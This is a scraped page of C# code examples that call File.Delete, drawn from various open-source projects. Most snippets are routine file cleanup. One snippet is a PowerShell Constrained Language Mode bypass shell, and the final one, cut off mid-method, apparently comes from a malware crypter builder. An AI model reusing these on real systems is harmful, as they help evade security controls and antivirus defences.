System.IO.File.Delete(string)

Here are the examples of the csharp api System.IO.File.Delete(string) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

8583 Examples 7

19 Source : MainWindow.xaml.cs
with GNU General Public License v3.0
from 00000vish

private void setupEncryptionKey(int attempts, String discriptionText)
        {
            if (encrypted)
            {
                if (attempts <= 2)
                {
                    GetInput GI = new GetInput();
                    String temp = GI.Show("Encryption", discriptionText, true);
                    GI.Close();
                    if (temp != "-1" && SteamTwo.Cryptography.Encrypt(DEFUALT_KEY, temp).Equals(SteamTwoProperties.jsonSetting.encryptedKeySetting))
                    {
                        encryptionKey = temp;
                    }
                    else
                    {
                        attempts++;
                        discriptionText = "Encryption key is invalid, enter a valid encryption key";
                        setupEncryptionKey(attempts, discriptionText);
                    }
                }
                else
                {
                    if (SteamTwoProperties.jsonSetting.badAttemptSetting)
                    {
                        SteamTwoProperties.jsonSetting.encryptedSetting = false;
                        SteamTwoProperties.jsonSetting.encryptedKeySetting = DEFUALT_KEY_TEST;
                        Properties.Settings.Default.Save();
                        encryptionKey = DEFUALT_KEY;
                        File.Delete(SAVE_FILE_NAME);
                        System.Windows.Forms.MessageBox.Show("Encryption key will reset back to defualt key and previous account details will be deleted.", "Encryption", System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Information);
                    }
                    else
                    {
                        Environment.Exit(0);
                    }
                }
            }
            else
            {
                encryptionKey = DEFUALT_KEY;
            }
        }

19 Source : ToolWindow.xaml.cs
with GNU General Public License v3.0
from 00000vish

private void Refresh_Click(object sender, RoutedEventArgs e)
        {
            idleStoper = true;
            killRunningProc();
            File.Delete(GAME_LIST_FILE);
            generateGames();
        }

19 Source : CelesteNetEmojiComponent.cs
with MIT License
from 0x0ade

public void Handle(CelesteNetConnection con, DataNetEmoji netemoji) {
            Logger.Log(LogLevel.VVV, "netemoji", $"Received {netemoji.ID}");

            string dir = Path.Combine(Path.GetTempPath(), "CelesteNetClientEmojiCache");
            if (!Directory.Exists(dir))
                Directory.CreateDirectory(dir);

            string path = Path.Combine(dir, $"{netemoji.ID}-{netemoji.GetHashCode():X8}.png");
            using (FileStream fs = File.OpenWrite(path))
            using (MemoryStream ms = new(netemoji.Data))
                ms.CopyTo(fs);

            RunOnMainThread(() => {
                Logger.Log(LogLevel.VVV, "netemoji", $"Registering {netemoji.ID}");

                bool registered = false;

                try {
                    VirtualTexture vt = VirtualContent.CreateTexture(path);
                    MTexture mt = new(vt);
                    if (vt.Texture_Safe == null) // Needed to trigger lazy loading.
                        throw new Exception($"Couldn't load emoji {netemoji.ID}");

                    Registered.Add(netemoji.ID);
                    RegisteredFiles.Add(path);
                    Emoji.Register(netemoji.ID, mt);
                    Emoji.Fill(CelesteNetClientFont.Font);
                    registered = true;

                } finally {
                    if (!registered)
                        File.Delete(path);
                }
            });
        }

19 Source : frmMain.cs
with GNU General Public License v3.0
from 0x00000FF

private void Create_Click(object sender, EventArgs e)
        {
            try
            {
                if (File.Exists(IVFilePath))
                {
                    if (File.GetAttributes(IVFilePath) == FileAttributes.Hidden)
                        File.SetAttributes(IVFilePath, FileAttributes.Normal);

                    if (File.ReadAllBytes(IVFilePath).Length != 16)
                    {
                        File.Delete(IVFilePath);
                    }

                    var _buffer = new byte[16];

                    var randomKey = new RNGCryptoServiceProvider();
                    randomKey.GetBytes(_buffer);
                    File.WriteAllBytes(IVFilePath, _buffer);
                }
                else
                {
                    var _buffer = new byte[16];

                    var randomKey = new RNGCryptoServiceProvider();
                    randomKey.GetBytes(_buffer);
                    File.WriteAllBytes(IVFilePath, _buffer);
                }

                if (File.Exists(KeyFilePath))
                {
                    if (File.GetAttributes(KeyFilePath) == FileAttributes.Hidden)
                        File.SetAttributes(KeyFilePath, FileAttributes.Normal);

                    if (File.ReadAllBytes(KeyFilePath).Length != 32)
                    {
                        File.Delete(KeyFilePath);
                    }

                    var _buffer = new byte[32];

                    var randomKey = new RNGCryptoServiceProvider();
                    randomKey.GetBytes(_buffer);
                    File.WriteAllBytes(KeyFilePath, _buffer);
                }
                else
                {
                    var _buffer = new byte[32];

                    var randomKey = new RNGCryptoServiceProvider();
                    randomKey.GetBytes(_buffer);
                    File.WriteAllBytes(KeyFilePath, _buffer);
                }

                File.SetAttributes(IVFilePath, FileAttributes.Hidden);
                File.SetAttributes(KeyFilePath, FileAttributes.Hidden);

                Check();

            }
            catch
            {
                MessageBox.Show("There's problem to create pseudo key/iv files.\nTry again with administrator privileges.");
            }
        }

19 Source : CelesteNetEmojiComponent.cs
with MIT License
from 0x0ade

protected override void Dispose(bool disposing) {
            base.Dispose(disposing);

            foreach (string id in Registered)
                Emoji.Register(id, GFX.Misc["whiteCube"]);

            Emoji.Fill(CelesteNetClientFont.Font);

            foreach (string path in RegisteredFiles)
                if (File.Exists(path))
                    File.Delete(path);
        }

19 Source : CelesteNetServerModule.cs
with MIT License
from 0x0ade

public virtual void Save(string path = "") {
            path = Path.GetFullPath(path.Nullify() ?? FilePath);

            Logger.Log(LogLevel.INF, "settings", $"Saving {GetType().Name} to {path}");

            string? dir = Path.GetDirectoryName(path);
            if (!string.IsNullOrEmpty(dir) && !Directory.Exists(dir))
                Directory.CreateDirectory(dir);

            using (Stream stream = File.OpenWrite(path + ".tmp"))
            using (StreamWriter writer = new(stream))
                Save(writer);

            if (File.Exists(path))
                File.Delete(path);
            File.Move(path + ".tmp", path);
        }

19 Source : FileSystemUserData.cs
with MIT License
from 0x0ade

public void SaveRaw<T>(string path, T data) where T : notnull {
            lock (GlobalLock) {
                string? dir = Path.GetDirectoryName(path);
                if (!string.IsNullOrEmpty(dir) && !Directory.Exists(dir))
                    Directory.CreateDirectory(dir);

                using (Stream stream = File.OpenWrite(path + ".tmp"))
                using (StreamWriter writer = new(stream))
                    YamlHelper.Serializer.Serialize(writer, data, typeof(T));

                if (File.Exists(path))
                    File.Delete(path);
                File.Move(path + ".tmp", path);
            }
        }

19 Source : FileSystemUserData.cs
with MIT License
from 0x0ade

public void DeleteRaw(string path) {
            lock (GlobalLock) {
                if (File.Exists(path))
                    File.Delete(path);
            }
        }

19 Source : FileSystemUserData.cs
with MIT License
from 0x0ade

public override Stream WriteFile(string uid, string name) {
            string path = GetUserFilePath(uid, name);
            string? dir = Path.GetDirectoryName(path);
            if (!string.IsNullOrEmpty(dir) && !Directory.Exists(dir))
                Directory.CreateDirectory(dir);
            if (File.Exists(path))
                File.Delete(path);
            return File.OpenWrite(path);
        }

19 Source : FileSystemUserData.cs
with MIT License
from 0x0ade

public override void DeleteFile(string uid, string name) {
            string path = GetUserFilePath(uid, name);
            if (File.Exists(path))
                File.Delete(path);
            CheckCleanup(uid);
        }

19 Source : FileSystemUserData.cs
with MIT License
from 0x0ade

private void InsertFileRaw(string path, Stream stream) {
            lock (GlobalLock) {
                string? dir = Path.GetDirectoryName(path);
                if (!string.IsNullOrEmpty(dir) && !Directory.Exists(dir))
                    Directory.CreateDirectory(dir);

                if (File.Exists(path))
                    File.Delete(path);
                Stream target = File.OpenWrite(path);
                stream.CopyTo(target);
            }
        }

19 Source : Ribbon.cs
with GNU General Public License v3.0
from 0dteam

public String GetURLsAndAttachmentsInfo(MailItem mailItem)
        {
            string urls_and_attachments = "---------- URLs and Attachments ----------";

            var domainsInEmail = new List<string>();

            var emailHTML = mailItem.HTMLBody;
            var doc = new HtmlAgilityPack.HtmlDoreplacedent();
            doc.LoadHtml(emailHTML);

            // extracting all links
            var urlsText = "";
            var urlNodes = doc.DoreplacedentNode.SelectNodes("//a[@href]");
            if(urlNodes != null)
            {
                urlsText = "\n\n # of URLs: " + doc.DoreplacedentNode.SelectNodes("//a[@href]").Count;
                foreach (HtmlNode link in doc.DoreplacedentNode.SelectNodes("//a[@href]"))
                {
                    HtmlAttribute att = link.Attributes["href"];
                    if (att.Value.Contains("a"))
                    {
                        urlsText += "\n --> URL: " + att.Value.Replace(":", "[:]");
                        // Domain Extraction
                        try
                        {
                            domainsInEmail.Add(new Uri(att.Value).Host);
                        }
                        catch (UriFormatException)
                        {
                            // Try to process URL as email address. Example -> <a href="mailto:[email protected]">...etc
                            String emailAtChar = "@";
                            int ix = att.Value.IndexOf(emailAtChar);
                            if (ix != -1)
                            {
                                string emailDomain = att.Value.Substring(ix + emailAtChar.Length);
                                try
                                {
                                    domainsInEmail.Add(new Uri(emailDomain).Host);
                                }
                                catch (UriFormatException)
                                {
                                    // if it fails again, ignore domain extraction
                                    Console.WriteLine("Bad url: {0}", emailDomain);
                                }
                            }
                        }
                    }
                }
            }
            else
                urlsText = "\n\n # of URLs: 0";

            // Get domains
            domainsInEmail = domainsInEmail.Distinct().ToList();
            urls_and_attachments += "\n # of unique Domains: " + domainsInEmail.Count;
            foreach (string item in domainsInEmail)
            {
                urls_and_attachments += "\n --> Domain: " + item.Replace(":", "[:]");
            }

            // Add Urls
            urls_and_attachments += urlsText;

            urls_and_attachments += "\n\n # of Attachments: " + mailItem.Attachments.Count;
            foreach (Attachment a in mailItem.Attachments)
            {
                // Save attachment as txt file temporarily to get its hashes (saves under User's Temp folder)
                var filePath = Environment.ExpandEnvironmentVariables(@"%TEMP%\Outlook-Phishaddin-" + a.DisplayName + ".txt");
                a.SaveAsFile(filePath);

                string fileHash_md5 = "";
                string fileHash_sha256 = "";
                if (File.Exists(filePath))
                {
                    fileHash_md5 = CalculateMD5(filePath);
                    fileHash_sha256 = GetHashSha256(filePath);
                    // Delete file after getting the hashes
                    File.Delete(filePath);
                }
                urls_and_attachments += "\n --> Attachment: " + a.FileName + " (" + a.Size + " bytes)\n\t\tMD5: " + fileHash_md5 + "\n\t\tSha256: " + fileHash_sha256 + "\n";
            }
            return urls_and_attachments;
        }

19 Source : Program.cs
with MIT License
from 0x0ade

private static void MainMain(string[] args) {
            LogHeader(Console.Out);
            Thread.CurrentThread.Name = "Main Thread";

            CelesteNetServerSettings settings = new();
            settings.Load();
            settings.Save();


            bool showHelp = false;
            string? logFile = "log-celestenet.txt";
            OptionSet options = new() {
                {
                    "v|loglevel:",
                    $"Change the log level, ranging from {LogLevel.CRI} ({(int) LogLevel.CRI}) to {LogLevel.DEV} ({(int) LogLevel.DEV}). Defaults to {LogLevel.INF} ({(int) LogLevel.INF}).",
                    v => {
                        if (Enum.TryParse(v, true, out LogLevel level)) {
                            Logger.Level = level;
                        } else {
                            Logger.Level--;
                        }

                        if (Logger.Level < LogLevel.DEV)
                            Logger.Level = LogLevel.DEV;
                        if (Logger.Level > LogLevel.CRI)
                            Logger.Level = LogLevel.CRI;

                        Console.WriteLine($"Log level changed to {Logger.Level}");
                    }
                },

                { "log", "Specify the file to log to.", v => { if (v != null) logFile = v; } },
                { "nolog", "Disable logging to a file.", v => { if (v != null) logFile = null; } },

                { "h|help", "Show this message and exit.", v => showHelp = v != null },
            };

            try {
                options.Parse(args);

            } catch (OptionException e) {
                Console.WriteLine(e.Message);
                Console.WriteLine("Use --help for argument info.");
                return;
            }

            if (showHelp) {
                options.WriteOptionDescriptions(Console.Out);
                return;
            }

            if (logFile == null) {
                MainRun(settings);
                return;
            }

            if (File.Exists(logFile))
                File.Delete(logFile);

            using FileStream fileStream = new(logFile, FileMode.OpenOrCreate, FileAccess.Write, FileShare.ReadWrite | FileShare.Delete);
            using StreamWriter fileWriter = new(fileStream, Console.OutputEncoding);
            using LogWriter logWriter = new() {
                STDOUT = Console.Out,
                File = fileWriter
            };
            LogHeader(fileWriter);

            try {
                Console.SetOut(logWriter);
                MainRun(settings);

            } finally {
                if (logWriter.STDOUT != null) {
                    Console.SetOut(logWriter.STDOUT);
                    logWriter.STDOUT = null;
                }
            }
        }

19 Source : Program.cs
with MIT License
from 0x0ade

static void Main(string[] args) {
            // Required for the relative extra paths to work properly.
            if (!File.Exists("MonoMod.RuntimeDetour.dll"))
                Environment.CurrentDirectory = Path.GetDirectoryName(replacedembly.GetExecutingreplacedembly().Location);

            string inputDir, outputDir;
            if (args.Length != 2 ||
                !Directory.Exists(inputDir = args[0]) ||
                !Directory.Exists(outputDir = args[1])) {
                Console.Error.WriteLine("Usage: inputdir outputdir");
                return;
            }

            // Check that the files exist.
            if (!VerifyFile(out string inputXNA, inputDir, "Terraria.XNA.exe"))
                return;
            if (!VerifyFile(out string inputFNA, inputDir, "Terraria.FNA.exe"))
                return;

            // Strip or copy.
            foreach (string path in Directory.GetFiles(inputDir)) {
                if (!path.EndsWith(".exe") && !path.EndsWith(".dll")) {
                    Console.WriteLine($"Copying: {path}");
                    File.Copy(path, Path.Combine(outputDir, Path.GetFileName(path)));
                    continue;
                }

                Console.WriteLine($"Stripping: {path}");
                Stripper.Strip(path);
            }

            // Generate hooks.
            string hooksXNA = Path.Combine(outputDir, "Windows.Pre.dll");
            string hooksFNA = Path.Combine(outputDir, "Mono.Pre.dll");
            GenHooks(inputXNA, hooksXNA);
            GenHooks(inputFNA, hooksFNA);

            // Merge generated .dlls and MonoMod into one .dll per environment.
            string[] extrasMod = {
                "TerrariaHooks.dll",
                "MonoMod.exe",
                "MonoMod.RuntimeDetour.dll",
                "MonoMod.Utils.dll"
            };
            Repack(hooksXNA, extrasMod, Path.Combine(outputDir, "Windows.dll"), "TerrariaHooks.dll");
            File.Delete(hooksXNA);
            Repack(hooksFNA, extrasMod, Path.Combine(outputDir, "Mono.dll"), "TerrariaHooks.dll");
            File.Delete(hooksFNA);
        }

19 Source : Program.cs
with MIT License
from 0x0ade

static void GenHooks(string input, string output) {
            Console.WriteLine($"Hooking: {input} -> {output}");

            using (MonoModder mm = new MonoModder() {
                InputPath = input,
                OutputPath = output,
                ReadingMode = ReadingMode.Deferred,

                MissingDependencyThrow = false,
            }) {
                mm.Read();
                mm.MapDependencies();

                if (File.Exists(output))
                    File.Delete(output);

                HookGenerator gen = new HookGenerator(mm, Path.GetFileName(output)) {
                    HookPrivate = true,
                };
                gen.Generate();
                gen.OutputModule.Write(output);
            }
        }

19 Source : Program.cs
with MIT License
from 0x0ade

static void Repack(string input, string[] extras, string output, string name = null) {
            Console.Error.WriteLine($"Repacking: {input} -> {output}");
            if (name == null)
                name = Path.GetFileName(output);

            string outputTmp = Path.Combine(Path.GetDirectoryName(output), name);
            if (File.Exists(outputTmp))
                File.Delete(outputTmp);

            List<string> args = new List<string>();
            args.Add($"/out:{outputTmp}");
            args.Add(input);
            foreach (string dep in extras)
                if (!string.IsNullOrWhiteSpace(dep))
                    args.Add(dep.Trim());

            RepackOptions options = new RepackOptions(args);
            ILRepack repack = new ILRepack(options);
            repack.Repack();

            if (output != outputTmp) {
                if (File.Exists(output))
                    File.Delete(output);
                File.Move(outputTmp, output);
            }
        }

19 Source : XnaToFnaUtil.cs
with zlib License
from 0x0ade

public void ScanPath(string path) {
            if (Directory.Exists(path)) {
                // Use the directory as "dependency directory" and scan in it.
                if (Directories.Contains(path))
                    // No need to scan the dir if the dir is scanned...
                    return;

                RestoreBackup(path);

                Log($"[ScanPath] Scanning directory {path}");
                Directories.Add(path);
                replacedemblyResolver.AddSearchDirectory(path); // Needs to be added manually as DependencyDirs was already added

                // Most probably the actual game directory - let's just copy XnaToFna.exe to there to be referenced properly.
                string xtfPath = Path.Combine(path, Path.GetFileName(Thisreplacedembly.Location));
                if (Path.GetDirectoryName(Thisreplacedembly.Location) != path) {
                    Log($"[ScanPath] Found separate game directory - copying XnaToFna.exe and FNA.dll");
                    File.Copy(Thisreplacedembly.Location, xtfPath, true);

                    string dbExt = null;
                    if (File.Exists(Path.ChangeExtension(Thisreplacedembly.Location, "pdb")))
                        dbExt = "pdb";
                    if (File.Exists(Path.ChangeExtension(Thisreplacedembly.Location, "mdb")))
                        dbExt = "mdb";
                    if (dbExt != null)
                        File.Copy(Path.ChangeExtension(Thisreplacedembly.Location, dbExt), Path.ChangeExtension(xtfPath, dbExt), true);

                    if (File.Exists(Path.Combine(Path.GetDirectoryName(Thisreplacedembly.Location), "FNA.dll")))
                        File.Copy(Path.Combine(Path.GetDirectoryName(Thisreplacedembly.Location), "FNA.dll"), Path.Combine(path, "FNA.dll"), true);
                    else if (File.Exists(Path.Combine(Path.GetDirectoryName(Thisreplacedembly.Location), "FNA.dll.tmp")))
                        File.Copy(Path.Combine(Path.GetDirectoryName(Thisreplacedembly.Location), "FNA.dll.tmp"), Path.Combine(path, "FNA.dll"), true);

                }

                ScanPaths(Directory.GetFiles(path));
                return;
            }

            if (File.Exists(path + ".xex")) {
                if (!ExtractedXEX.Contains(path)) {
                    // Remove the original file - let XnaToFna unpack and handle it later.
                    File.Delete(path);
                } else {
                    // XnaToFna will handle the .xex instead.
                }
                return;
            }

            if (path.EndsWith(".xex")) {
                string pathTarget = path.Substring(0, path.Length - 4);
                if (string.IsNullOrEmpty(Path.GetExtension(pathTarget)))
                    return;

                using (Stream streamXEX = File.OpenRead(path))
                using (BinaryReader reader = new BinaryReader(streamXEX))
                using (Stream streamRAW = File.OpenWrite(pathTarget)) {
                    XEXImageData data = new XEXImageData(reader);

                    int offset = 0;
                    int size = data.m_memorySize;

                    // Check if this file is a PE containing an embedded PE.
                    if (data.m_memorySize > 0x10000) { // One default segment alignment.
                        using (MemoryStream streamMEM = new MemoryStream(data.m_memoryData))
                        using (BinaryReader mem = new BinaryReader(streamMEM)) {
                            if (mem.ReadUInt32() != 0x00905A4D) // MZ
                                goto WriteRaw;
                            // This is horrible.
                            streamMEM.Seek(0x00000280, SeekOrigin.Begin);
                            if (mem.ReadUInt64() != 0x000061746164692E) // ".idata\0\0"
                                goto WriteRaw;
                            streamMEM.Seek(0x00000288, SeekOrigin.Begin);
                            mem.ReadInt32(); // Virtual size; It's somewhat incorrect?
                            offset = mem.ReadInt32(); // Virtual offset.
                            // mem.ReadInt32(); // Raw size; Still incorrect.
                            // Let's just write everything...
                            size = data.m_memorySize - offset;
                        }
                    }

                    WriteRaw:
                    streamRAW.Write(data.m_memoryData, offset, size);
                }

                path = pathTarget;
                ExtractedXEX.Add(pathTarget);
            } else if (!path.EndsWith(".dll") && !path.EndsWith(".exe"))
                return;

            // Check if .dll is CLR replacedembly
            replacedemblyName name;
            try {
                name = replacedemblyName.GetreplacedemblyName(path);
            } catch {
                return;
            }

            ReaderParameters modReaderParams = Modder.GenReaderParameters(false);
            // Don't ReadWrite if the module being read is XnaToFna or a relink target.
            bool isReadWrite =
#if !CECIL0_9
            modReaderParams.ReadWrite =
#endif
                path != Thisreplacedembly.Location &&
                !Mappings.Exists(mappings => name.Name == mappings.Target);
            // Only read debug info if it exists
            if (!File.Exists(path + ".mdb") && !File.Exists(Path.ChangeExtension(path, "pdb")))
                modReaderParams.ReadSymbols = false;
            Log($"[ScanPath] Checking replacedembly {name.Name} ({(isReadWrite ? "rw" : "r-")})");
            ModuleDefinition mod;
            try {
                mod = MonoModExt.ReadModule(path, modReaderParams);
            } catch (Exception e) {
                Log($"[ScanPath] WARNING: Cannot load replacedembly: {e}");
                return;
            }
            bool add = !isReadWrite || name.Name == ThisreplacedemblyName;

            if ((mod.Attributes & ModuleAttributes.ILOnly) != ModuleAttributes.ILOnly) {
                // Mono.Cecil can't handle mixed mode replacedemblies.
                Log($"[ScanPath] WARNING: Cannot handle mixed mode replacedembly {name.Name}");
                if (MixedDeps == MixedDepAction.Stub) {
                    ModulesToStub.Add(mod);
                    add = true;
                } else {
                    if (MixedDeps == MixedDepAction.Remove) {
                        RemoveDeps.Add(name.Name);
                    }
#if !CECIL0_9
                    mod.Dispose();
#endif
                    return;
                }
            }

            if (add && !isReadWrite) { // XNA replacement
                foreach (XnaToFnaMapping mapping in Mappings)
                    if (name.Name == mapping.Target) {
                        mapping.IsActive = true;
                        mapping.Module = mod;
                        foreach (string from in mapping.Sources) {
                            Log($"[ScanPath] Mapping {from} -> {name.Name}");
                            Modder.RelinkModuleMap[from] = mod;
                        }
                    }
            } else if (!add) {
                foreach (XnaToFnaMapping mapping in Mappings)
                    if (mod.replacedemblyReferences.Any(dep => mapping.Sources.Contains(dep.Name))) {
                        add = true;
                        Log($"[ScanPath] XnaToFna-ing {name.Name}");
                        goto BreakMappings;
                    }
            }
            BreakMappings:

            if (add) {
                Modules.Add(mod);
                ModulePaths[mod] = path;
            } else {
#if !CECIL0_9
                mod.Dispose();
#endif
            }

        }

19 Source : Program.cs
with MIT License
from 0x1000000

private static async Task RunGenModelsOptions(GenModelsOptions options)
        {
            ILogger logger = new DefaultLogger(Console.Out, options.Verbosity);

            logger.LogMinimal("Model clreplacedes generation is running...");

            string inDirectory = EnsureDirectory(options.InputDir, logger, "Input", false);
            string outDirectory = EnsureDirectory(options.OutputDir, logger, "Output", true);

            var replacedysis = ExistingCodeExplorer
                .EnumerateTableDescriptorsModelAttributes(inDirectory, DefaultFileSystem.Instance)
                .ParseAttribute(options.NullRefTypes)
                .Createreplacedysis();

            if (replacedysis.Count < 1)
            {
                logger.LogNormal("No model attributes detected in the input directory.");
            }
            else
            {
                logger.LogNormal($"Found {replacedysis.Count} models in the input directory.");
            }

            if (logger.IsDetailed)
            {
                foreach (var model in replacedysis)
                {
                    logger.LogDetailed(model.Name);
                    foreach (var property in model.Properties)
                    {
                        logger.LogDetailed(
                            $" -{property.Type} {property.Name}");
                        foreach (var col in property.Column)
                        {
                            logger.LogDetailed(
                                $"   ={(property.CastType != null ? $"({property.CastType})" : null)}{col.TableRef.TableTypeName}.{col.ColumnName}");
                        }
                    }
                }
            }

            logger.LogNormal("Code generation...");

            foreach (var meta in replacedysis)
            {
                string path = Path.Combine(outDirectory, $"{meta.Name}.cs");
                if (logger.IsDetailed) logger.LogDetailed(path);
                await File.WriteAllTextAsync(path, ModelClreplacedGenerator.Generate(meta, options.Namespace, path, options.RwClreplacedes, DefaultFileSystem.Instance, out var existing).ToFullString());
                if (logger.IsDetailed) logger.LogDetailed(existing ? "Existing file updated." : "New file created.");
            }

            if (options.CleanOutput)
            {
                var modelFiles = replacedysis.Select(meta => $"{meta.Name}.cs").ToHashSet(StringComparer.InvariantCultureIgnoreCase);

                var toRemove = Directory.EnumerateFiles(outDirectory).Where(p=> !modelFiles.Contains(Path.GetFileName(p))).ToList();

                foreach (var delPath in toRemove)
                {
                    File.Delete(delPath);
                    if(logger.IsNormalOrHigher) logger.LogNormal($"File {Path.GetFileName(delPath)} has been removed since it does not contain any model clreplaced");
                }

            }


            logger.LogMinimal("Model clreplacedes generation successfully completed!");
        }

19 Source : Program.cs
with MIT License
from 0xDivyanshu

static void powershell_clm(String file_tmp)
        {
            Console.WriteLine("[+] Powershell CLM bypreplaced!\n");
            Runspace rs = RunspaceFactory.CreateRunspace();
            String op_file = file_tmp;
            PowerShell ps = PowerShell.Create();
            while (true)
            {
                Console.Write("PS:>");
                string input = Console.ReadLine();
                if (input == "exit")
                {
                    break;
                }
                ps.AddScript(input + " | Out-File -FilePath " + op_file);
                ps.Invoke();
                string output = File.ReadAllText(op_file);
                Console.WriteLine(output);
                File.Delete(op_file);
            }
            rs.Close();
        }

19 Source : RawFileType.cs
with MIT License
from 0xC0000054

protected override Doreplacedent OnLoad(Stream input)
        {
            Doreplacedent doc = null;
            string tempFile = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName());
            try
            {
                // Write the input stream to a temporary file for LibRaw to load.
                using (FileStream output = new FileStream(tempFile, FileMode.Create, FileAccess.Write, FileShare.None))
                {
                    if (input.CanSeek)
                    {
                        output.SetLength(input.Length);
                    }

                    // 81920 is the largest multiple of 4096 that is under the large object heap limit (85,000 bytes).
                    byte[] buffer = new byte[81920];

                    int bytesRead;
                    while ((bytesRead = input.Read(buffer, 0, buffer.Length)) > 0)
                    {
                        output.Write(buffer, 0, bytesRead);
                    }
                }

                doc = GetRAWImageDoreplacedent(tempFile);
            }
            finally
            {
                File.Delete(tempFile);
            }

            return doc;
        }

19 Source : LocalStorageHandler.cs
with Apache License 2.0
from 0xFireball

public async Task<FileUploadResult> HandleUploadAsync(string fileName, Stream stream)
        {
            replacedertIdenreplacedyProvided(); // Quota is affected
            var fileId = Guid.NewGuid().ToString();
            var targetFile = GetTargetFilePath(fileId);
            var uploadStreamFileSize = stream.Length;

            try
            {
                // Write file (Wait for upload throttle)
                await ServerContext.ServiceTable[_owner]
                    .UploadThrottle.WithResourceAsync(async () =>
                    {
                        using (var destinationStream = File.Create(targetFile))
                        {
                            await stream.CopyToAsync(destinationStream);
                        }
                    });

                // Make sure user has enough space remaining
                if (_owner != null)
                {
                    var lockEntry = ServerContext.ServiceTable[_owner].UserLock;
                    await lockEntry.ObtainExclusiveWriteAsync();
                    var userManager = new WebUserManager(ServerContext);
                    var ownerData = await userManager.FindUserByUsernameAsync(_owner);
                    var afterUploadSpace = ownerData.StorageUsage + uploadStreamFileSize;
                    if (afterUploadSpace > ownerData.StorageQuota)
                    {
                        lockEntry.ReleaseExclusiveWrite();
                        // Throw exception, catch block will remove file and rethrow
                        throw new QuotaExceededException();
                    }
                    // Increase user storage usage
                    ownerData.StorageUsage += uploadStreamFileSize;
                    await userManager.UpdateUserInDatabaseAsync(ownerData);
                    lockEntry.ReleaseExclusiveWrite();
                }
            }
            catch (QuotaExceededException)
            {
                // Roll back write
                await Task.Run(() => File.Delete(targetFile));
                throw;
            }

            return new FileUploadResult
            {
                FileId = fileId,
                Size = uploadStreamFileSize
            };
        }

19 Source : LocalStorageHandler.cs
with Apache License 2.0
from 0xFireball

public async Task DeleteFileAsync(string fileId)
        {
            replacedertIdenreplacedyProvided(); // Quota is affected
            var filePath = GetTargetFilePath(fileId);
            var fileInfo = await Task.Run(() => new FileInfo(filePath));
            var fileSize = fileInfo.Length;
            await Task.Run(() => File.Delete(filePath));
            if (_owner != null)
            {
                var lockEntry = ServerContext.ServiceTable[_owner].UserLock;
                // Decrease user storage usage
                await lockEntry.ObtainExclusiveWriteAsync();
                var userManager = new WebUserManager(ServerContext);
                var ownerData = await userManager.FindUserByUsernameAsync(_owner);
                var prevStorageUsage = ownerData.StorageUsage;
                ownerData.StorageUsage -= fileSize;
                await userManager.UpdateUserInDatabaseAsync(ownerData);
                lockEntry.ReleaseExclusiveWrite();
            }
        }

19 Source : RedumpProvider.cs
with MIT License
from 13xforever

public async Task<HashSet<DiscKeyInfo>> EnumerateAsync(string discKeyCachePath, string ProductCode, CancellationToken cancellationToken)
        {
            var result = new HashSet<DiscKeyInfo>();
            try
            {
                var replacedembly = replacedembly.GetExecutingreplacedembly();
                var embeddedResources = replacedembly.GetManifestResourceNames().Where(n => n.Contains("Disc_Keys") || n.Contains("Disc Keys")).ToList();
                if (embeddedResources.Any())
                    Log.Trace("Loading embedded redump keys");
                else
                    Log.Warn("No embedded redump keys found");
                foreach (var res in embeddedResources)
                {
                    using var resStream = replacedembly.GetManifestResourceStream(res);
                    using var zip = new ZipArchive(resStream, ZipArchiveMode.Read);
                    foreach (var zipEntry in zip.Entries.Where(e => e.Name.EndsWith(".dkey", StringComparison.InvariantCultureIgnoreCase)
                                                                    || e.Name.EndsWith(".key", StringComparison.InvariantCultureIgnoreCase)))
                    {
                        using var keyStream = zipEntry.Open();
                        using var memStream = new MemoryStream();
                        await keyStream.CopyToAsync(memStream, cancellationToken).ConfigureAwait(false);
                        var discKey = memStream.ToArray();
                        if (zipEntry.Length > 256/8*2)
                        {
                            Log.Warn($"Disc key size is too big: {discKey} ({res}/{zipEntry.FullName})");
                            continue;
                        }
                        if (discKey.Length > 16)
                        {
                            discKey = Encoding.UTF8.GetString(discKey).TrimEnd().ToByteArray();
                        }

                        try
                        {
                            result.Add(new DiscKeyInfo(null, discKey, zipEntry.FullName, KeyType.Redump, discKey.ToHexString()));
                        }
                        catch (Exception e)
                        {
                            Log.Warn(e, $"Invalid disc key format: {discKey}");
                        }
                    }
                }
                if (result.Any())
                    Log.Info($"Found {result.Count} embedded redump keys");
                else
                    Log.Warn($"Failed to load any embedded redump keys");
            }
            catch (Exception e)
            {
                Log.Error(e, "Failed to load embedded redump keys");
            }

            Log.Trace("Loading cached redump keys");
            var diff = result.Count;
            try
            {
                if (Directory.Exists(discKeyCachePath))
                {
                    var matchingDiskKeys = Directory.GetFiles(discKeyCachePath, "*.dkey", SearchOption.TopDirectoryOnly)
                        .Concat(Directory.GetFiles(discKeyCachePath, "*.key", SearchOption.TopDirectoryOnly));
                    foreach (var dkeyFile in matchingDiskKeys)
                    {
                        try
                        {
                            try
                            {
                                var discKey = File.ReadAllBytes(dkeyFile);
                                if (discKey.Length > 16)
                                {
                                    try
                                    {
                                        discKey = Encoding.UTF8.GetString(discKey).TrimEnd().ToByteArray();
                                    }
                                    catch (Exception e)
                                    {
                                        Log.Warn(e, $"Failed to convert {discKey.ToHexString()} from hex to binary");
                                    }
                                }
                                result.Add(new DiscKeyInfo(null, discKey, dkeyFile, KeyType.Redump, discKey.ToString()));
                            }
                            catch (InvalidDataException)
                            {
                                File.Delete(dkeyFile);
                                continue;
                            }
                            catch (Exception e)
                            {
                                Log.Warn(e);
                                continue;
                            }
                        }
                        catch (Exception e)
                        {
                            Log.Warn(e, e.Message);
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Log.Warn(ex, "Failed to load redump keys from local cache");
            }
            diff = result.Count - diff;
            Log.Info($"Found {diff} cached disc keys");
            return result;
        }

19 Source : fMain.cs
with MIT License
from 0xPh0enix

private void bCrypt_Click(object sender, EventArgs e)
        {
            if (!File.Exists(tServer.Text))
            {
                MessageBox.Show("Error, server is not exists!", "", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }

            if (!File.Exists(tIcon.Text) && tIcon.Text.Trim() != "")
            {
                MessageBox.Show("Error, icon is not exists!", "", MessageBoxButtons.OK, MessageBoxIcon.Error);
                return;
            }


            using (SaveFileDialog fSaveDialog = new SaveFileDialog())
            {

                fSaveDialog.Filter = "Executable (*.exe)|*.exe";
